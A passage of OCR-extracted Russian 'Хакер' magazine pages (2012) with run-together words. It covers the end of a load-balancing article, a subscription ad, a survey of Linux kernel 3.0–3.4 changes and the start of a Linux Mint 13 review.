мониторинг. В простейшем случаеэтот мониторинг представляет собой проверку того, отвечает лимашина на ping. При более глубоком рассмотрении оказывается,что сама эта проблема разделяется на несколько других.Вы начинаете мониторинг. Допустим, вы обнаруживаете, чтоу машины живая сетевая карта, но сгорел диск. То есть вы хотитесделать балансировку, распределить нагрузку, а машина банальнотормозит. Мониторинг и роутинг как раз и позволяют решитьзадачу балансировки.DNS-БАЛАНСИРОВКАВернемся к первому аспекту — к отправке запроса на ваши фронтенды.Самый простой способ, который используется до сих пор, —это DNS-балансировка, то есть эти несколько машин, куда нужноотправлять пользователя, зашиты в DNS.Начинать проще всего с TTL в пять или в одну минуту (то есть сминимального, который разумно выставить). Пока у вас три-пятьфронтендов, что, на самом деле, тоже немало, это на довольнодолгое время убережет вас от проблем. Когда же их больше…Вы, конечно, можете возразить, что часть провайдеров любиткешировать. В этом случае TTL длительностью пять минут превращаетсяв проблему. Однако трудности возникнут в любомслучае, какое бы решение вы ни выбрали. Если вы, например,от DNS-балансировки перешли к выделенной железке, к IPVS,появятся проблемы с нагрузкой этой железки. Они также могутбыть связаны с надежностью дата-центра или дистрибуциейконтента. Тут очень много аспектов.Из всего вышесказанного можно вывести правило, котороеприменимо при разработке любой крупной системы, — решаемпроблемы по мере их появления, каждый раз выбирая наиболеепростое решение из всех возможных.ОТКАЗОУСТОЙЧИВОСТЬ ФРОНТЕНДАРассмотрим чуть более сложный способ, который часто используетсяи имеет кучу вариантов. Как он реализуется? Ставим рядом двемашинки, у каждой из которых двесетевых карты. С помощью однойкаждая из них «смотрит в мир», с помощьюдругой они слушают и мониторятдруг с друга. Внешние сетевыекарты имеют одинаковые IP-адреса.Весь поток идет через первую машину.Как только одна из них умирает,поднимается IP-адрес на второй.Именно так реализованы CARP (воFreeBSD), Heartbeat (в Linux) и другиесоединения подобного рода.Такая схема долгое время работалав Rambler, и, насколько я понимаю,она используется повсеместно.У вас есть DNS-балансировка,разбрасывающая пользователей напары серверов, в каждой из которыхсерверы контролируют друг друга.Перейдем к балансировкебэкендов. Она осуществляется науровне фронтенда. У него есть простойсервис, который знает все своитак называемые upstream’ы и логику,по которой между ними разбрасываютсязапросы. В подавляющембольшинстве случаев это происходитслучайным образом. Но можнозадать какие-то обратные связи,посылать запрос не на ближайшийupstream, а на тот, который меньшевсего нагружен, и так далее.Речь идет о том, что для множествасайтов хватает всего двухфронтендов, причем с избытком.Nginx — это очень быстрая штука. Абэкенды, которые вы пишете, — этоваша бизнес-логика, и она можетработать сколь угодно оптимальноили неоптимально. Их, как правило,гораздо больше.Обычный масштаб чаще всегопредполагает наличие двух иличетырех фронтендов и двадцатибэкендов. При этом вопрос о том,как отправить запрос тому бэкенду,который лучше всего его обслужит,остается по-прежнему актуальным.Пожалуй, на этом о масштабированиифронтендов всё. В следующемуроке мы поговорим о том, какмасштабировать бэкенды. z106ХАКЕР 08 /163/ 2012


ПОДПИШИСЬ!8-800-200-3-999+7 (495) 663-82-77 (бесплатно)Редакционная подписка без посредников — этогарантия получения важного для Вас журналаи экономия до 40 % от розничной цены в киоске.6 номеров — 1194 руб.12 номеров — 2149 руб.6 номеров — 810 руб.12 номеров — 1499 руб.6 номеров — 1110 руб.12 номеров — 1999 руб.6 номеров — 894 руб.12 номеров — 1699 руб.6 номеров — 564 руб.13 номеров — 1105 руб.6 номеров — 599 руб.12 номеров — 1188 руб.6 номеров — 1110 руб.12 номеров — 1999 руб.6 номеров — 810 руб.12 номеров — 1499 руб.3 номера — 630 руб.6 номеров — 1140 руб.6 номеров — 895 руб.12 номеров — 1699 руб.6 номеров — 690 руб.12 номеров — 1249 руб.6 номеров — 775 руб.12 номеров — 1399 руб.6 номеров — 1110 руб.12 номеров — 1999 руб.6 номеров — 1110 руб.12 номеров — 1999 руб.6 номеров — 950 руб.12 номеров — 1699 руб.shop.glc.ru


UNIXOIDЕвгений Зобнин (execbit.ru)АВТОСТОПОМпо лабиринтамядраИСТОРИЯ КЛЮЧЕВЫХИЗМЕНЕНИЙ В ЯДРЕLINUX С ВЕРСИИ 3.0 ПО 3.4Переход ядра Linux на новую схемунумерации версий стал важной вехойв истории развития проекта. Несмотряна то что это лишь косметическоеизменение, оно отражает реальную зрелостьLinux-ядра, которое сегодня являетсястандартом чуть ли не во всех областяхприменения, кроме десктоп-систем.Какие же изменения несет в себе новый,повзрослевший Тукс?108ХАКЕР 08 /163/ 2012


Автостопом по лабиринтам ядраМАГИЯ ВЕРСИЙФормально Линус Торвальдс приурочил выпуск ядра версии 3.0к двадцатилетию Linux, однако необходимость в переходе к новойверсии, по мнению многих линуксоидов, назрела уже давно. Ветка2.6 развивалась на протяжении почти десяти лет и за все времявобрала в себя такое количество изменений, что хватило бы навыпуск ядра 4.0 и даже 5.0. Тем не менее Торвальдс не спешилс выпуском новых версий, ведь никаких кардинальных изменений,напрочь ломающих совместимость API или коренным образомменяющих базовые архитектурные особенности ядра, в Linux небыло. Ядро 3.0 появилось на свет в июле прошлого года, заменивсобой планируемую к выпуску версию 2.6.40.Подход к нумерации версий изменился. Старая схема, прикоторой вторая цифра служила индикатором стабильности/экспериментальностиветки (2.5 — разрабатываемая, 2.6 — стабильная),а третья — порядковым номером, была отменена. Ее место занялапростая схема X.Y.Z, где X — мажорный номер версии (в данномслучае 3), Y — минорный, а Z — порядковый номер патчсета, содержащегобагфиксы, что гораздо лучше отражает текущую модельразработки ядра.С момента появления ветки 3.0 в ее рамках было выпущено ужепять версий ядра с перерывом примерно в два месяца. В основномновые ядра включали в себя различные новые механизмы,реализованные компаниями для своих нужд, доработки различныхподсистем, файловых систем, а также оптимизации производительностии новые драйверы. Ниже мы рассмотрим ключевыеизменения в каждой из версий и попробуем подвести итог текущимтенденциям в развитии современного Тукса.LINUX 3.0: XEN DOM0, INTEL SMEP,CLEANCACHE, WAKE ON WLANС выходом Linux 3.0 наконец завершилась эпопея проталкиваниякода Xen в ядро. В течение четырех лет разработчики Xenпатч за патчем добивались включения компонентов гипервизорав основную ветку и наконец могут праздновать победу. Бэкендxen-blkback, отвечающий за реализацию виртуальных блочныхустройств, был принят к включению в ядро 3.0 в июне 2011 годаи стал последним компонентом, необходимым для запуска ядрав режиме dom0. С этого момента Xen целиком и полностью являетсячастью ядра Linux и будет развиваться равномерно с ним.В 3.0 появилась поддержка новой аппаратной технологии защитыSMEP (Supervisor Mode Execution Protection), которой будутоснащены будущие процессоры архитектуры Ivy Bridge компанииIntel. SMEP позволяет запретить исполнение кода, размещенногов пользовательских областях памяти с высоким уровнем привилегий,и таким образом предотвратить многие типы атак, направленныена повышение привилегий. Например, взломщик не сможетиспользовать уязвимость в ядре для выполнения shell-кода, таккак эта операция просто не пройдет проверку.Для подсистем ядра, интенсивно использующих кеширование,теперь реализован новый тип кеша Cleancache. Он реализуетхранилище, содержимое которого может быть уничтожено в любоймомент без возможности восстановления. Типичным примеромиспользования Cleancache является кеш файловых систем, предназначенныйдля ускорения операций ввода-вывода, но в случаеуничтожения легко восстанавливаемый с помощью повторногочтения данных с диска. Благодаря использованию Cleancache, ядросможет без задержек освобождать кеш, когда в системе появитсядефицит памяти, что благотворно скажется на производительности.Поддержка нового кеша реализована в рамках проектареализации трансцендентного управления памятью («Transcendentmemory») и уже добавлена в ext3, ext4, Btrfs, OCFS2 и Xen.Начиная с ядра 3.0 разработчикам приложений будет доступенновый системный вызов sendmmsg(), аналогичный sendmsg(),но позволяющий разом отправить несколько сообщений. Новыйсисколл дает возможность существенно увеличить сетевую производительностьприложений, передавая большие объемы данных.Количество компаний,работавших над той или иной версией ядраKernel VersionКоличестворазработчиковДинамика вклада компаний в развитие ядраКоличествокомпаний2.6.11 389 682.6.12 566 902.6.13 545 942.6.14 553 902.6.15 612 1082.6.16 709 1112.6.17 736 1202.6.18 815 1332.6.19 801 1282.6.20 673 1382.6.21 767 1432.6.22 870 1802.6.23 912 1812.6.24 1057 1932.6.25 1123 2322.6.26 1027 2032.6.27 1021 1872.6.28 1075 2122.6.29 1180 2332.6.30 1150 2492.6.31 1166 2272.6.32 1248 2612.6.33 1196 2382.6.34 1150 2432.6.35 1187 2092.6.36 1176 2072.6.37 1276 2212.6.38 1198 2202.6.39 1258 2393.0 1131 3313.1 1168 2123.2 1316 226All 7944 855ХАКЕР 08 /163/ 2012 109


UNIXOIDДинамика увеличения размера ядра с выходом новых версийТестирование показало прирост скорости отправки данных черезUDP-сокет на 20%, а через RAW-сокет на 30%.Второе важное изменение в сетевой подсистеме касаетсябеспроводных сетей. Теперь Linux-ядро имеет полную поддержкуфункции «Wake on WLAN», которая позволяет вывести машинуиз режима сна S3 с помощью посылки пакета на беспроводнойсетевой интерфейс. Во время сна беспроводная сетевая картаостанется активной, сохраняя соединение с точкой доступа, и разбудитмашину после начала приема трафика.В BPF (Berkeley Packet Filter), используемом многими снифферами,теперь интегрирован JIT-компилятор правил, позволяющийзначительно увеличить производительность обработки пакетовпри задействовании таких инструментов, как tcpdump и Wireshark.Большая порция изменений в коде файловой системы Btrfs.Теперь в ФС реализован механизм автоматической дефрагментации,активируемый во время операций записи и оптимизирующий картурасположения записываемых блоков. Для Btrfs такая функциональностьособенно актуальна, так как при изменении частей файлаотдельные блоки не перезаписываются, а дописываются в свободнуюобласть диска и помечаются как принадлежащие изменяемомуфайлу. При выполнении большого количества незначительных измененийфайлов их содержимое оказывается размазанным по всемудиску. Ранее операцию дефрагментации можно было выполнить толькос помощью команды btrfs filesystem defragment.Также в Btrfs отныне доступна возможность проверки целостностиданных путем сверки контрольных сумм, сохраненных в экстентах,с контрольными суммами, вычисленными из фактическихданных. В случае повреждений механизм восстановления делаетоткат к более старой версии файла. Скорость создания новыхфайлов возросла на 15–20% благодаря использованию метода отложенногоизменения b+ деревьев.При создании программных RAID-массивов с помощью Btrfsтеперь доступен метод распределения блоков Quasi-round-robin,размазывающий данные по всем дискам по порядку, но учитывающийразмер самого диска. Более емкие носители будут использованыв первую очередь.Всего в ядро 3.0 было принято 9862 исправлений от 1276 разработчиков,а общий размер патча составил 44 Мб (добавлено 8002тысячи строк кода, удалено 7946 тысяч строк). При этом 41% измененийпришелся на драйверы, 25% — на код аппаратных архитектур,15% — на сетевой стек, 5% — на файловые системы и 5% — навнутренние подсистемы ядра.LINUX 3.1: OPENRISC,НОВАЯ РЕАЛИЗАЦИЯ ISCSI, ЧИПЫ NFCЯдро 3.1 вобрало в себя меньше изменений по сравнению с 3.0,однако и в нем есть множество интересных новшеств. Одно из самыхзначительных — поддержка полностью открытого процессораOpenRISC, а точнее, 32-битного семейства OpenRISC 1000.OpenRISC (opencores.org/or1k/Main_Page) был спроектировансообществом OpenCores, которое ответственно за многие другиепроекты открытой микроэлектроники, включая различные сетевые,звуковые и графические карты. Все его схемы, firmware, инструментарийразработки выложены в открытый доступ под лицензиями GPLи LGPL. Процессор уже производится коммерческими компаниямисерийно в виде интегральных микросхем ПЛИС и БМК.OpenRISC 1200 включает в себя процессорное ядро с набороминструкций ORBIS32, сопроцессор для работы с числами с плавающейточкой, который может быть реализован на усмотрениепроизводителя, пятиступенчатый конвейер, блок DSP, раздельныеблоки управления памятью для данных и инструкций. Производительностьпроцессора должна быть близка к ARM10.В 3.1 появилась полноценная реализация беспроводного стекадля чипов NFC (Near Field Communication), используемых для организациипередачи данных на очень близком расстоянии (10 см). Благодарянебольшому радиусу действия можно передавать с помощьюNFC разного рода конфиденциальную информацию, такую как номеркредитной карты или уникальный идентификатор. Многие новые110ХАКЕР 08 /163/ 2012


Автостопом по лабиринтам ядраОбщее количество дней, потраченныхна разработку той или иной версии ядраKernel Version Дата релизаКол-во днейразработки2.6.11 2005-03-02 692.6.12 2005-05-17 1082.6.13 2005-08-28 732.6.14 2005-10-27 612.6.15 2006-01-02 682.6.16 2006-03-19 772.6.17 2006-06-17 912.6.18 2006-09-19 952.6.19 2006-11-29 722.6.20 2007-02-04 682.6.21 2007-04-25 812.6.22 2007-07-08 752.6.23 2007-10-09 942.6.24 2008-01-24 1082.6.25 2008-04-16 832.6.26 2008-07-13 882.6.27 2008-10-09 882.6.28 2008-12-24 762.6.29 2009-03-23 892.6.30 2009-06-09 782.6.31 2009-09-09 922.6.32 2009-12-02 842.6.33 2010-02-24 842.6.34 2010-05-15 812.6.35 2010-08-01 772.6.36 2010-10-20 802.6.37 2011-01-04 762.6.38 2011-03-14 692.6.39 2011-05-18 653.0 2011-07-21 643.1 2011-10-24 953.2 2012-01-04 72Святая святых — kernel.orgмодели смартфонов оснащаются чипом NFC, позволяющим владельцуоплачивать услуги, поднеся смартфон к специальному датчику, обмениватьсяданными между смартфонами, положив их один на другой,читать информацию со специальных меток, расположенных под экспонатамив музеях, и так далее. Android включает в себя поддержкуNFC начиная с четвертой версии Ice Cream Sandwich.В версии 3.1 процесс ядра Writeback, просыпающийся черезопределенные промежутки времени и сбрасывающий кеш данныхпроцессов на диск, работает более равномерно, оптимизируяпроцесс записи таким образом, чтобы добиться более линейноговвода-вывода. Программный RAID теперь включает в себя механизм«обхода» дефектных блоков, благодаря чему администраторможет использовать диски с bad-блоками. Появилась новая,написанная с нуля реализация поддержки iSCSI target, разработаннаяв рамках проекта Linux-iSCSI.org. В Btrfs добавлен рядоптимизаций, позволяющих увеличить производительность чтениякаталогов. В коде файловой системы ext3 наконец-то появиласьреализация барьеров — специального механизма, гарантирующего,что информация о транзакции попадет в журнал только послезаписи связанных с транзакцией данных на диск. Барьеры позволяютдостичь более высокой надежности работы ФС и по умолчаниюиспользуются в таких ФС, как XFS, Btrfs и ext4.Пакет cpufrequtils заменен на более функциональныйcpupowerutils. В сущности, новый набор утилит повторяетфункциональность cpufrequtils, но включает в себя более гибкиесредства мониторинга и при управлении энергопотреблениемучитывает множество факторов: архитектуру процессора, зависимостьработы GPU от CPU, реализации режима сна и так далее.Несколько изменений было внесено в подсистемы виртуализации.В Xen dom0 добавлена возможность вывода текста черезVGA-консоль, поддержка проброса PCI-устройств в гостевые окруженияи возможность использования Memory hotplug в драйвереballoon, KVM теперь может корректно работать с «вложенными»виртуальными окружениями, когда внутри одной гостевой системызапускается другая гостевая система.Всего в новую версию принято 9403 исправления от 1318 разработчиков,размер патча составил 49 Мб. С драйверами устройствсвязано 37% изменений, 25% пришлось на обновление кода поддержкиаппаратных архитектур, 14% — на сетевой стек, 5% — нафайловые системы и 5% — на внутренние подсистемы ядра.LINUX 3.2: DM THIN PROVISIONING,МОДУЛЬ РАСШИРЕННОЙ ВЕРИФИКАЦИИ EVM,МНОЖЕСТВЕННЫЕ ОПТИМИЗАЦИИВ ядре 3.2 получили дальнейшее развитие наработки, сделанныев 3.0 и 3.1, еще большей оптимизации подвергся механизмWriteback, появилось множество улучшений в файловых системахBtrfs и ext4, расширена программная реализация RAID.Механизм Writeback, работа которого была улучшена в 3.1, сталеще более интеллектуальным. Теперь во время сброса данныхпроцесс блокируется во избежание поступления новых данных доокончания записи текущих. Изменился алгоритм, рассчитывающийразмер буферизированных данных, благодаря чему количествоопераций ввода-вывода сократилось, а нагрузка на процессорснизилась. Реализовано множество других оптимизаций, которыепозволили увеличить производительность приложений в условияхинтенсивной записи данных.В механизме управления ресурсами процессора cgroups теперьпоявилась возможность более гибкого управления квотами процессорноговремени, выделяемыми группам процессов. Вместотого чтобы просто ограничить процессы по верхней границе,теперь можно использовать плавающие ограничения, которые позволяютвыделять процессам дополнительное время в том случае,если в данный момент система не нагружена. Эта возможность позволяетболее эффективно расходовать процессорные ресурсы, нетратя их на простои или выполнение сторонних процессов, которыене имеют особой важности.ХАКЕР 08 /163/ 2012 111


UNIXOIDBTRFS ТЕПЕРЬ СПОСОБНАСОЗДАТЬ 170 000 ФАЙЛОВВ СЕКУНДУ, ЧТО НА 60 000БОЛЬШЕ РЕЗУЛЬТАТА EXT4Начиная с версии 3.2 максимальный размер блока файловойсистемы ext4 увеличен до 1 Мб. ФС с таким размером блокабудет существенно быстрее за счет снижения фрагментациии уменьшения затрат на операции работы с блоками и идеальноподойдет для хранения больших файлов. В то же время большойразмер блока скажется на эффективности использованиядискового пространства, так как для хранения любых файловменьше 1 Мб все равно будет использован 1 Мб пространства.Блоки размером 1 Мб поддерживаются утилитой mkfs начинаяс e2fsprogs 1.42.В 3.2 продолжено развитие файловой системы Btrfs. Анонсированныйв 3.0 механизм проверки целостности данных сталработать намного быстрее благодаря использованию методаупреждающего чтения (в тестах время проверки сократилосьс 89 до 43 секунд). Появилась поддержка автоматического резервногокопирования критичных метаданных с возможностьюдоступа к резервной копии путем монтирования файловой системыс опцией '-o recovery'. Были интегрированы многие наработки дляувеличения производительности, так что время прохождения тестаxfstests уменьшилось с 445 до 28 секунд.В реализацию программного RAID Device Mapper добавленаподдержка динамического места в хранилище (thin provisioning),позволяющая создавать дисковые конфигурации, суммарный объемпространства в которых больше физического. Такие конфигурацииполезны в тех ситуациях, когда необходимо гарантироватьнужный размер хранилища, вероятность полного заполнениякоторого крайне мала. Например, создать большое количестводомашних каталогов пользователей, каждому из которых будетотведено определенное количество дискового пространства, нодалеко не каждый заполнит его до конца.Теперь все операции над файлами могут проверяться с помощьюмодуля расширенной верификации EVM (extended verificationmodule), который, в частности, не позволяет изменять метаданныефайловой системы и содержимое файлов из других систем (например,загрузившись с LiveCD), сверяя контрольные суммы файлов,сохраненные в расширенных атрибутах и подписанные с помощьюаппаратного модуля TPM.Размер патча ядра 3.2 составил 99 Мб, 40% изменений при этомотносятся к драйверам, 23% — к аппаратным архитектурам, 15%пришлось на сетевой стек, 3% — на файловые системы, 4% — навнутренние подсистемы ядра.LINUX 3.3: ИНТЕГРАЦИЯ ПАТЧЕЙ ANDROID,ПОДДЕРЖКА EFI, BUFFERBLOAT, OPEN VSWITCHЯдро версии 3.3 примечательно прежде всего тем, что в него наконецтопопали патчи, созданные для корректной работы операционнойсистемы Android. Долгое время мантейнеры ядра отказывалисьвключать их код в основную ветку, из-за того что те не соответствовалипринятым правилам оформления и Google не проявляла интересак полноценной поддержке кода. Однако когда была озвучена идеяудаления патчей из staging-ветки ядра, Google быстро привела патчив порядок и назначила ответственных за их дальнейшее развитие.Набор специфичных для Android патчей включает в себя реализациютаких подсистем, как ashmem — разделяемая память,страницы которой могут быть помечены как некритичные и освобожденыв любой момент времени; механизм межпроцессноговзаимодействия Binder, используемый для обмена сообщениямимежду всеми компонентами платформы Android; ram console —буферизированная консоль, в которой сохраняются сообщенияядра; logcat — драйвер, используемый для ведения журнала; LMK(low memory killer) — реализация механизма принудительногоосвобождения памяти, занятой процессами, в случае ее нехватки;модифицированный драйвер gpio.Начиная с версии 3.3 ядро Linux может быть загружено напрямуюна системах, использующих EFI (Extensible Firmware Interface),минуя этап передачи управления загрузчику. На системах (ноутбуках),поддерживающих технологию ASPM (Active State PowerManagement), теперь решена проблема повышенного потребленияэнергии, которая появилась в ядре 2.6.38.В файловой системе procfs добавлена новая опция монтированияhidepid, которая запрещает процессам пользователя просматриватькаталоги /proc/PID других пользователей или позволяетполностью скрывать их. Для некоторых групп, перечисленныхчерез опцию gid, может быть сделано исключение.Отныне в ядре есть новая, альтернативная реализациямеханизма агрегирования сетевых интерфейсов под названиемTeaming, который позволяет объединять несколько интерфейсовв один, суммируя их пропускную способность. Поддерживаются двастандартных режима балансировки пакетов между интерфейсами:round-robin и active-backup. Управление осуществляется с помощьюутилит, созданных на основе библиотеки libteam.ПАМЯТНЫЕ ВЕХИ LINUX1991 1992 1993 199619981999Линус Торвальдс пишетзнаменитое сообщение«Привет всемприсутствующим...» ипубликует исходныйкод первой версии ядраLinuxЛинус лицензируетядро Linux наусловиях GPL, чемпредопределяет егоуспех в будущемSlackwareстановится первымдистрибутивом,получившим широкоераспространениеЛинус посещаетаквариум и делаетпингвина символомLinuxГиганты IT-индустриианонсируют первыеустройства подуправлением LinuxRed Hatпроизводитпервичноеразмещениеакций112ХАКЕР 08 /163/ 2012


Автостопом по лабиринтам ядраДля управления сетевыми приоритетами в режиме реальноговремени теперь доступна контрольная группа net_prio в cgroups,которая позволяет изменить значение опции SO_PRIORITY,указанной во время создания сокета, в любой момент времени.Также интегрирована поддержка задания ограничения на размерданных, помещаемых в очередь передачи данных для заданногосетевого устройства, в результате появилась возможность обеспеченияприемлемой транзитной задержки (latency) для высокоприоритетныхпакетов, без очистки аппаратных очередей, когдапоявляются данные для отправки.В состав ядра теперь включен код поддержки программногокоммутатора Open vSwitch, о котором мы писали в статье «Соединяйи властвуй» (][_05_2012).Размер исходного кода ядра 3.3 превысил 15 миллионов строк,5,6 миллиона из которых приходятся на драйверы, 1,8 — на кодаппаратных архитектур, 700 тысяч — на файловые системы,533 тысячи — на звуковую подсистему, 493 — на сетевой стек.LINUX 3.4: X32 ABI, МОДУЛЬ БЕЗОПАСНОСТИ YAMA,ПОДДЕРЖКА НОВЫХ GPUНаиболее интересное новшество ядра версии 3.4 — это поддержкатак называемого X32 ABI, представляющего собой смесьбинарных интерфейсов x86_64 и x86. X32 ABI позволяет получитьпреимущество обеих архитектур за счет использования набораинструкций и расширенного набора регистров x86_64 вкупес 32-битной адресацией памяти x86. В сравнении с x86_64, приложения,собранные для X32 ABI, показывают более высокуюпроизводительность (до 30%) за счет упрощения работы с указателями,но оказываются ограничены пределом адресуемойпамяти в 4 Гб.Также в 3.4 появился давно ожидаемый механизм, позволяющийавтоматически проверять, необходимо ли загрузитьдополнительные модули для поддержки тех или иных функцийпроцессора. Ранее стартовым скриптам дистрибутивов приходилосьпросто перебирать все доступные модули для той илииной архитектуры в ожидании, что некоторые из них заработают(например, система просто загружала все возможные модулис реализацией функций управления частотой). Теперь же процессор,как и все остальное оборудование в системе, — этоспециальный файл внутри каталога /sys, содержащего прямыеинструкции по загрузке модулей для системы udev.В Device Mapper появился модуль verity, проверяющий неизменностьзагружаемых данных на случай их повреждения илимодификации злоумышленниками. Когда с диска считываютсяданные, модуль сверяет хеш-сумму прочитанного блока с ранеесохраненным хешем, располагающимся в отдельной областидиска. При несовпадении хеша операция блокируется, возвращаяприложению ошибку. Модуль уже используется в Chrome OSдля гарантии неизменности оригинального образа системы.В состав ядра принят код модуля Yama, разработанногокомпанией Canonical и используемого для борьбы с типовымиатаками в дистрибутиве Ubuntu. Yama реализует несколькопростых техник защиты: запрещено использование системноговызова ptrace любыми процессами, кроме предков отслеживаемогопроцесса; переход по ссылкам в общедоступных каталогах(таких как /tmp) разрешается только для процессов — владельцевссылок; создание жестких ссылок разрешается только в томслучае, если пользователь/процесс имеет права доступа к файлу,на который он собирается установить ссылку. Последние двефункции модуля Yama пока в ядро не интегрированы.В 3.4 была включена очередная порция изменений в файловойсистеме Btrfs. Повышена общая производительность ФС засчет того, что изменился метод взаимодействия метаданных состраничным кешем и увеличилась агрессивность отбрасываниястраниц для метаданных, сократилось число лишних чтенийданных при взаимодействии механизма копирования при записи(COW) и Linux VM, увеличились блоки метаданных, размер которыхтеперь может составлять 64 Кб. В итоге производительностьво время интенсивной работы с метаданными существенновозросла (например, файловая система теперь способна создать170 000 файлов в секунду, что на 60 000 больше результата ext4).Также в код Btrfs был принят набор патчей от команды SUSEс реализацией более корректной обработки ошибочных ситуаций.Во многих ситуациях, когда раньше при возникновенииошибки ядро уходило в панику, теперь просто происходит перемонтированиефайловой системы в режим «только для чтения».В новую версию внесли свой вклад около 1200 разработчиков,сделав около 10 000 исправлений. Как и всегда, 40% измененийотносятся к драйверам устройств, 30% — к обновлению кода поддержкиаппаратных архитектур, 13% — сетевой стек, 5% — файловыесистемы и 6% — подсистемы ядра. Размер патча — 42 Мб.ВЫВОДЫКак можно видеть, ядро Linux развивается чрезвычайно быстрои при этом равномерно. Коренных изменений не происходит,но продолжают совершенствоваться существующие подсистемы,и добавляется поддержка новых аппаратных архитектури оборудования. Каждый новый релиз включает в себя большоеколичество изменений, направленных на повышение производительности,а также доработки некоторых подсистем, особоеместо среди которых занимают системы хранения и файловыесистемы. z2003 2005 200720102011IBM демонстрируетпотрясающийрекламный ролико Linux в ходеСуперкубка поамериканскомуфутболуЛинус появляется наобложке Business-Week с историейкоммерческого успехаLinuxФормируетсянекоммерческаяорганизацияLinux Foundationдля защиты истандартизацииLinuxОснованная на ядреLinux ОС Androidстановится самойраспространенноймобильнойоперационнойсистемой в СШАLinux исполняется20, он установленна лучшихсуперкомпьютерах,телефонах, ATM,сетевом оборудованиии многих другихустройствахINFO• Начиная с версии3.0 ядро Linux умеетмонтировать DFSресурсыWindows2008.• Начиная сверсии 3.0 ядроLinux включает всебя драйвер дляустройств MicrosoftKinect, который,правда, позволяетиспользовать еготолько в качествевеб-камеры.• В файловойсистеме ext4 ядра3.0 появиласьфункция «punchhole», фактическипозволяющаясоздать дыру внутрифайла, котораябудет заполненаданными другихфайлов.• Чтобы избежатьпроблем сустаревшимпрограммнымобеспечением,распространяемымтолько в бинарномвиде, в 3.1 появиласьвозможностьсменитьидентификатор ядрас 3.1 на 2.6.41.ХАКЕР 08 /163/ 2012 113


UNIXOIDСергей Яремчук (grinder@tux.in.ua)ПокорениеВЕРШИНЫОБЗОР LINUXMINT 13 «MAYA»В середине мая вышелочередной релиз самогопопулярного на сегодняшнийдень Linux-дистрибутива. Чтобыследовать своим принципам,разработчикам пришлосьпринять сложное решение —отказаться от уже проверенныхGNOME 3 и Unity в пользу двух,в общем-то, «сырых» рабочихстолов. Посмотрим, что собойпредставляет тринадцатый.114ХАКЕР 08 /163/ 2012


Покорение вершиныРучное создание разделов в мастере установки Linux MintКонсоль настройки CinnamonЗАЧЕМ ЕЩЕ ОДИН UBUNTU?История появления Linux Mint выглядит банально и похожа намногочисленные стартапы Open Source. Ирландец КлементЛефевр, использующий Linux в течение нескольких лет и помогавшийосвоиться в новой ОС новичкам, решил создать своймаксимально дружелюбный дистрибутив. Надо сказать, что в тевремена (2006 год) редкий дистр мог похвастаться полной адаптациейк требованиям пользователя, который после установкидолжен был произвести целый ряд действий, чтобы все заработалои было на своих местах.Первый релиз Linux Mint «Ada» был основан на Kubuntu 6.06Dapper Drake и, по сути, отличался лишь наличием мультимедиакодекови плагинов для браузеров. Наверное, поэтому появлениеLinux Mint прошло практически незамеченным, ведь подобныхклонов появилось очень много. Для второго релиза в качествеосновной рабочей среды был выбран GNOME, и хотя впоследствиипоявлялись версии с KDE, XFce, но именно GNOME-вариант всегдапоявлялся первым и доступен во всех релизах. Известность LinuxMint принесли оригинальные утилиты, упрощающие настройку отдельныхфункций и использование системы. Также разработчикимаксимально упростили рабочую среду, сделав ее менее запутанной.Внешний вид рабочего стола был выполнен в «традиционном»стиле, то есть с меню запуска приложений и панелью внизу. Этотакже привлекло многих пользователей, которым не нравилосьобычное расположение панелей в GNOME.В результате сайт Distrowatch назвал Linux Mint самым неожиданнымрешением 2007 года, а проект начал набирать в весеи постепенно вошел в пятерку самых популярных дистрибутивовLinux, сместив таких мастодонтов, как Debian, openSUSE, Fedora.Все решил выход GNOME 3, остававшегося «сырым» некотороевремя и потому не подходившего в полной мере для массовогоиспользования. К тому же некоторые изменения пришлисьмногим юниксоидам не по вкусу (да что там говорить, сам ЛинусТорвальдс считает GNOME 3 полным провалом в User Experience).Это заставило разработчиков Ubuntu сделать ставку на совсем непонятныйи такой же сырой Unity. Вот тут пользователи и обратиливнимание на Linux Mint 11 «Katya», который базировался на Ubuntu11.04, но использовал старый добрый GNOME 2. Дистрибутивсумел набрать баллов и вытеснить Ubuntu с вершины Distrowatch.Но прогресс не мог долго игнорироваться разработчиками, и всеждали, что будет выбрано в качестве основы для Linux Mint 12— Unity или GNOME 3. Ни тот, ни другой не вписывался в идеиLinux Mint, а подходящих альтернатив не было. В итоге для Mint 12разработчики выбрали GNOME 3, которому при помощи специальныхдополнений (Mint GNOME Shell Extension) вернули привычныйдля минтовцев вид. На DVD-варианте был доступен еще и MATE(форк GNOME 2), а чуть позже вышли версии с KDE4 и LXDE. НоGNOME 3 разработчиков не устраивал, поэтому они поддержалипроект MATE и параллельно начали работу над еще одним рабочимстолом — Cinnamon.Выходит Linux Mint примерно через месяц анонса Ubuntu.Каждая версия прибавляет в номере единицу (за несколькими исключениями)и получает свое имя. Система именования очень проста:вместо непонятных животных, используемых в Ubuntu, здесьвыбраны женские имена, идущие по алфавиту, если основнойномер версии не изменился, то используется имя на ту же букву(3.0 — Cassandra, 3.1 — Celena).В отличие от Ubuntu, Linux Mint ориентирован исключительнона пользователя, версий для сервера и платформ, кроме x86/x64,не предусмотрено.Отдельной веткой идет развитие Linux Mint Debian Edition(LMDE) — rolling-дистрибутива, не требующего переустановки ОСпри обновлении и построенного на тестовой ветке Debian с рабочимстолом MATE/Cinnamon или Xfce.LINUX MINT 13 «MAYA»Новая версия Linux Mint 13 вышла практически через месяц послепоявления Ubuntu 12.04, на кодовой базе которого он основан. Доступныдве DVD-сборки: одна с рабочим столом MATE 1.2 (898 Мб),другая с Cinnamon 1.4 (817 Мб). В рабочей системе можно доустановитьжелаемый рабочий стол при помощи пакетов «mint-metamate»или «mint-meta-cinnamon» соответственно. Установщикиз-под Windows (mint4win) доступен только в x64-битной редакции.В этом релизе разработчики впервые отказались от CD-варианта,и если таковой кому-то нужен, можно самостоятельно пересобратьобраз. Этот процесс несложен и подробно расписан в документе«How to remaster/respin Linux Mint ISO images» (goo.gl/BCeau).В ОТЛИЧИЕ ОТ UBUNTU,LINUX MINT ОРИЕНТИРОВАНИСКЛЮЧИТЕЛЬНО НАПОЛЬЗОВАТЕЛЯ, ВЕРСИЙДЛЯ СЕРВЕРА И ПЛАТФОРМ,КРОМЕ X86/X64, НЕТХАКЕР 08 /163/ 2012 115


